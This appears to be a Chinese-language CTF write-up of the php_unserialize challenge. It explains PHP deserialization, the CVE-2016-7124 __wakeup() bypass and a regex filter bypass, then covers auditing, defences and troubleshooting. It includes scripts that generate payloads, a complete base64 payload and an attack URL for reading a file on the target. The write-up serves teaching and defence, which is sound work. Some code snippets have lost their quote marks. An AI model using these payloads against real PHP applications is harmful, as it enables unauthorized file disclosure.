详解)
1. 项目概述一次典型的PHP反序列化漏洞实战最近在复盘一些经典的CTF Web题目发现“攻防世界”里的这道php_unserialize题虽然年份可能有点久远但其中蕴含的关于PHP反序列化漏洞的核心原理和绕过技巧至今在代码审计和渗透测试中依然非常具有参考价值。这道题的核心就是考察对PHP反序列化机制、魔术方法__wakeup()的深入理解以及如何利用对象属性数量的不一致性来绕过关键的安全函数。说白了它模拟了一个真实场景开发者试图用__wakeup()函数在反序列化时进行安全过滤或重置操作但由于对反序列化底层机制理解不深留下了可被攻击者绕过的后门。今天我就带大家从头到尾拆解一遍这道题不仅复现解题过程更深入聊聊背后的“为什么”以及在实际审计中如何发现和利用这类问题。2. 核心原理与代码审计深度解析2.1 PHP反序列化漏洞的本质在深入题目之前我们必须先夯实基础。PHP反序列化漏洞之所以危险核心在于它将一串序列化的字符串通常来自用户不可控的输入重新转化为内存中的对象或数据结构。这个过程会自动触发对象的一系列魔术方法如果这些魔术方法中包含危险操作如文件操作、命令执行、数据库查询并且反序列化的参数我们可控那么漏洞就产生了。最常见的“危险魔术方法”包括__construct(): 对象创建时调用但注意反序列化时不会调用。__destruct(): 对象销毁时调用这是反序列化漏洞中最常见的利用点因为反序列化生成的临时对象在脚本结束后会被销毁。__wakeup(): 在反序列化完成后、对象被使用之前立即调用。开发者常在这里写一些初始化或过滤代码。__toString(): 当对象被当作字符串使用时调用。__get(),__set(): 访问或设置不可访问属性时调用。这道题的关键就在于__wakeup()。出题人的思路是我给你一个类里面有个__wakeup()方法这个方法会把可能危险的属性比如存储了文件路径或系统命令的属性给“清理”掉例如置为空或默认值。他想当然地认为只要__wakeup()执行了攻击者传入的恶意数据就会被净化。但事实真的如此吗2.2 题目代码审计与逻辑梳理通常这类题目的源码会直接给出或通过网页源码注释泄露。我们假设拿到的核心代码如下这是根据常见考点还原的典型结构?php class Demo { private $file index.php; public function __construct($file) { $this-file $file; } function __destruct() { if ($this-file ! index.php) { // 如果文件不是index.php就高亮显示其内容这里是获取flag的关键 echo brHighlighting {$this-file}br; highlight_file($this-file); } } function __wakeup() { // 反序列化时触发强制将file属性重置为index.php $this-file index.php; } } // 主逻辑 if (isset($_GET[var])) { $var base64_decode($_GET[var]); // 关键点进行反序列化操作 if (preg_match(/[oc]:\d:/i, $var)) { die(stop hacking!); } else { unserialize($var); } } else { highlight_file(index.php); } ?代码逻辑拆解类定义 (class Demo): 定义了一个Demo类有一个私有属性$file默认值是index.php。魔术方法:__construct(): 构造方法允许在创建对象时设置$file。__destruct(): 析构方法。这是我们的目标。如果$file的值不等于index.php它就调用highlight_file($this-file)来显示那个文件的内容。我们的目的就是让$file指向一个包含flag的文件比如flag.php。__wakeup():障碍。它在反序列化后立刻执行并且无条件地将$file属性重置为index.php。这意味着即使我们序列化了一个$file为flag.php的对象在反序列化后__wakeup()也会立刻把它改回去导致__destruct()中的判断失败无法执行目标代码。主程序逻辑:通过GET参数var接收输入。对var进行base64解码。有一个简单的WAFWeb应用防火墙规则用正则/[oc]:\d:/i匹配序列化字符串。这是为了防止一种非常原始的序列化字符串攻击匹配O:数字或C:数字这种对象/类的序列化格式。注意这个过滤很容易绕过因为它只检查了字符串中是否出现这种模式我们完全可以在其他地方插入字符来破坏这个模式。如果通过过滤则执行unserialize($var)。攻击目标清晰了我们需要构造一个序列化字符串它能够绕过preg_match的正则过滤。在反序列化时阻止__wakeup()方法执行从而让我们的恶意$file属性如flag.php得以保留。最终在对象销毁时触发__destruct()方法执行highlight_file(flag.php)。注意这里$file是私有属性private。在序列化字符串中私有属性的表示格式是%00类名%00属性名。这在后续构造payload时需要特别注意必须正确表示这两个空字符\x00。3. 关键绕过技术CVE-2016-7124与属性数量不一致3.1__wakeup()绕过原理详解我们的核心障碍是__wakeup()。在PHP 5.6.25之前和PHP 7 7.0.10的版本中存在一个著名的漏洞编号CVE-2016-7124。这个漏洞的成因是当反序列化字符串中表示的对象属性数量大于实际对象定义时的属性数量时__wakeup()方法将不会被执行。这听起来有点反直觉。正常序列化一个对象比如我们的Demo类只有一个属性$file序列化字符串中关于属性的部分会是O:4:Demo:1:{s:10:\0Demo\0file;s:9:index.php;}。这里的1就表示有1个属性。漏洞利用点在于我们可以手动修改这个序列化字符串把属性数量从1改成更大的数字例如2或3。当PHP引擎反序列化时它发现字符串说“这个对象有2个属性”但类定义里只找到了1个属性的存储空间。这种不一致性导致PHP内部处理出现异常为了保持稳定性它选择跳过__wakeup()的调用直接进行后续的反序列化操作。这就给我们留下了绕过安全函数的机会。3.2 Payload构造全流程现在我们一步步构造最终的攻击payload。步骤1编写攻击脚本生成基础序列化字符串我们不能直接在URL里拼写复杂的序列化字符串尤其是包含空字符的。最好用PHP脚本生成。?php class Demo { private $file flag.php; // 我们的目标文件 } $obj new Demo(); $serialized serialize($obj); echo 原始序列化字符串: . $serialized . \n; echo Base64编码后: . base64_encode($serialized) . \n; ?运行这个脚本你可能会得到类似这样的输出原始序列化字符串: O:4:Demo:1:{s:10:Demo file;s:8:flag.php;} Base64编码后: Tzo0OiJEZW1vIjoxOntzOjEwOiIARGVtbwBmaWxlIjtzOjg6ImZsYWcucGhwIjt9注意私有属性$file在序列化后变成了\0Demo\0file这里\0显示为不可见字符。字符串长度s:10对应的是%00Demo%00file这10个字符。步骤2绕过__wakeup()根据CVE-2016-7124我们需要修改序列化字符串中表示属性数量的部分。将:1:修改为:2:或更大的数字。 修改后的字符串为O:4:Demo:2:{s:10:\0Demo\0file;s:8:flag.php;}步骤3绕过正则过滤/[oc]:\d:/i这个正则匹配的是类似O:4:或C:4:这样的模式。我们的字符串O:4:Demo:2:{...}开头就是O:4:肯定会被匹配到。 绕过方法很简单在O:4:的数字4前面加一个号。即变成O:4:Demo:2:{...}。preg_match会匹配到O:4:但unserialize()函数在解析时会将4正确地解释为数字4。这是一个非常经典的绕过技巧。所以最终的手工修改后的序列化字符串为O:4:Demo:2:{s:10:\0Demo\0file;s:8:flag.php;}步骤4进行Base64编码由于序列化字符串包含空字符\0直接通过URL传递会出问题所以题目要求Base64编码。我们将修改后的字符串进行编码。 你可以用在线工具或者再用一段PHP代码?php $payload O:4:Demo:2:{s:10: . \0Demo\0file . ;s:8:flag.php;}; echo base64_encode($payload); ?得到Base64编码后的payload例如TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbGFnLnBocCI7fQ步骤5发起攻击将payload作为var参数的值发送给目标页面。 访问URLhttp://靶机地址/index.php?varTzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbGFnLnBocCI7fQ如果一切顺利页面将不会执行__wakeup()$file保持为flag.php。脚本结束后触发__destruct()从而执行highlight_file(flag.php)flag的内容就会以高亮代码的形式显示在页面上。3.3 实操心得与注意事项空字符的处理这是新手最容易出错的地方。私有属性private和保护属性protected在序列化字符串中会包含类名和空字符\0。在编辑或复制这些字符串时空字符很容易丢失或显示异常。最佳实践是始终使用脚本生成和修改payload避免手动处理。如果必须在文本编辑器里操作确保编辑器能显示并处理所有字符使用十六进制模式查看更稳妥。PHP版本的影响CVE-2016-7124在特定PHP版本中有效。在做题或真实环境测试时需要先探测或了解目标PHP版本。虽然这道题环境肯定是搭建好的但在实战中这个绕过方法可能失效如果PHP版本已修复。此时就需要寻找其他突破口比如寻找__destruct()中其他可利用的逻辑或者利用__toString()等链式调用即PHP反序列化漏洞中更复杂的“POP链”构造。正则绕过的多样性题目中的/[oc]:\d:/i只是最简单的过滤。实战中可能会遇到更严格的过滤比如检查整个字符串格式、过滤号等。其他绕过技巧包括利用S支持大写字母的序列化格式PHP序列化中字符串类型s可以大写为S支持\xx十六进制表示字符。如果过滤了数字可以尝试用、-、.小数点等与数字组合如O:4、O:4.0等unserialize()的解析器通常比较宽松。终极方法是分析unserialize()的底层解析器与preg_match的匹配逻辑差异总能找到不一致的地方。属性数量修改的界限修改属性数量时并不是越大越好。通常修改成2就足够了。如果修改成一个非常大的数有时可能会引起其他错误导致反序列化失败。稳妥起见在真实类属性数量的基础上加1即可。4. 漏洞挖掘与防御视角延伸4.1 从攻击到审计如何发现此类漏洞作为开发者或安全审计人员我们更应该思考如何避免这类问题。入口点查找全局搜索代码中的unserialize()函数。这是最直接的入口。特别注意那些参数来自用户输入$_GET,$_POST,$_COOKIE,$_REQUEST的地方。类图梳理检查所有可能被反序列化的类尤其是那些包含了__wakeup(),__destruct(),__toString()等魔术方法的类。画出它们的继承关系和属性结构。魔术方法审计仔细审查这些魔术方法中的代码逻辑。__destruct()和__toString()里有没有文件操作file_get_contents,highlight_file,unlink、命令执行system,exec、数据库操作__wakeup()和__construct()虽然常被用于“安全初始化”但要检查其逻辑是否绝对可靠本题就是反面教材。同时要检查是否有其他方法如普通的setter方法能在__wakeup()之后再次修改属性值属性可控性分析攻击者能否控制这些危险方法中使用的属性这些属性是否在序列化字符串中如果类中使用了__get()或__set()攻击面可能会进一步扩大。寻找POP链单个类的危害可能有限。高级的攻击是构造一条“属性导向编程”Property-Oriented Programming, POP链从一个类的__destruct()跳到另一个类的__toString()再调用第三个类的方法最终达到执行任意代码的目的。这需要审计整个应用程序的类体系。4.2 有效的防御方案完全杜绝反序列化漏洞很难但可以极大增加攻击成本首要原则不要反序列化不可信数据这是最根本的。如果业务必须使用序列化考虑使用JSON等更安全的格式。使用白名单机制如果必须使用unserialize()可以配合allowed_classes参数PHP 7.0将其设置为false或一个明确的白名单数组只允许反序列化少数安全的、不包含魔术方法的类。// PHP 7.0 的安全用法 $data unserialize($user_input, [allowed_classes false]); // 禁止所有对象 $data unserialize($user_input, [allowed_classes [SafeClass1, SafeClass2]]); // 只允许特定类签名与验证对序列化后的数据进行签名如HMAC。在反序列化前先验证签名确保数据未被篡改。魔术方法的安全实现在__wakeup()和__construct()中进行的“重置”操作要谨慎。不能仅仅依赖它们来做安全过滤。关键的安全检查应该放在业务逻辑中而不是依赖反序列化过程的副作用。代码审计与自动化扫描将unserialize()和危险魔术方法纳入代码审计和SAST静态应用安全测试工具的重点检查范围。升级PHP版本及时升级PHP到最新稳定版修复已知的反序列化相关漏洞如CVE-2016-7124。5. 常见问题与排查技巧实录在实际解题和测试过程中你可能会遇到各种问题。这里记录几个典型场景和解决思路。问题1Payload发送后页面没有任何变化还是显示源码或空白。排查思路检查Base64编码确保你的payload在Base64编码和解码过程中没有出错。特别是包含空字符的字符串最好全程用脚本处理。可以写一个本地测试脚本先在自己的PHP环境里unserialize一下你的payload看看是否能成功还原对象并打印$file属性。检查属性名格式确认私有属性的序列化格式是否正确。对于类Demo的私有属性$file格式必须是\0Demo\0file。如果类名或属性名错误反序列化后该属性值会为null或无法访问。查看错误信息在测试环境开启display_errors看看是否有PHP警告或错误。例如属性数量修改过大可能导致反序列化失败。确认文件路径flag.php文件是否真实存在于服务器根目录有时flag可能在别的路径如./flag、/flag、/var/www/html/flag.php。需要结合其他信息或进行路径遍历猜测。问题2页面显示了“stop hacking!”正则过滤没绕过。排查思路确认绕过语法确保你在对象长度的数字前加的是并且其位置正确。正确的格式是O:4:而不是O:4:。尝试其他绕过如果被过滤可以尝试在数字后加空格O:4 :注意unserialize对空格处理可能因版本而异。使用小数点O:4.0:。使用大写S表示字符串如果属性值是字符串且过滤不严但这需要修改整个序列化字符串的结构比较复杂。本地测试过滤将你的payload字符串在本地用同样的正则preg_match(/[oc]:\d:/i, $var)测试一下确保返回false。问题3__wakeup()似乎还是被执行了属性被重置。排查思路PHP版本这是最可能的原因。目标服务器的PHP版本可能已经修复了CVE-2016-7124 PHP 5.6.25 或 PHP 7.0.10。你需要寻找其他漏洞点。属性数量修改错误确认你修改的是对象属性数量即O:4:Demo:X:{...}中的X。不要修改错了数字。类定义不一致检查你序列化的类定义是否与服务器上的完全一致包括类名、属性名、属性可见性。一个细微差别比如服务器上是protected $file而你的payload是private $file都会导致反序列化失败或行为异常。问题4得到了一个序列化字符串但不知道如何修改。技巧将序列化字符串分解开看理解每一部分的含义O:4:Demo:1:{s:10:\0Demo\0file;s:9:index.php;}O表示对象Object。4对象类名长度。Demo类名。1对象属性数量这是我们修改的关键。{...}属性列表。s:10:\0Demo\0file第一个属性。s表示字符串类型10是字符串长度\0Demo\0file是属性名私有属性格式。s:9:index.php属性值。字符串类型长度9值index.php。 手动修改时只需小心地改动属性数量比如把1改成2并确保整个字符串的格式特别是引号和分号保持正确。使用脚本自动化生成和修改是最可靠的方法。这道php_unserialize题目虽然场景设定简单但它像一把手术刀精准地剖开了PHP反序列化漏洞中最关键的两个知识点危险魔术方法的自动调用和特定条件下安全钩子的绕过。在实战中漏洞的表现形式会更隐蔽POP链的构造会更复杂但核心的审计思路和攻防逻辑是相通的。理解它不仅是为了解一道题更是为了在面对真实世界纷繁复杂的代码时能拥有一双发现此类问题的眼睛。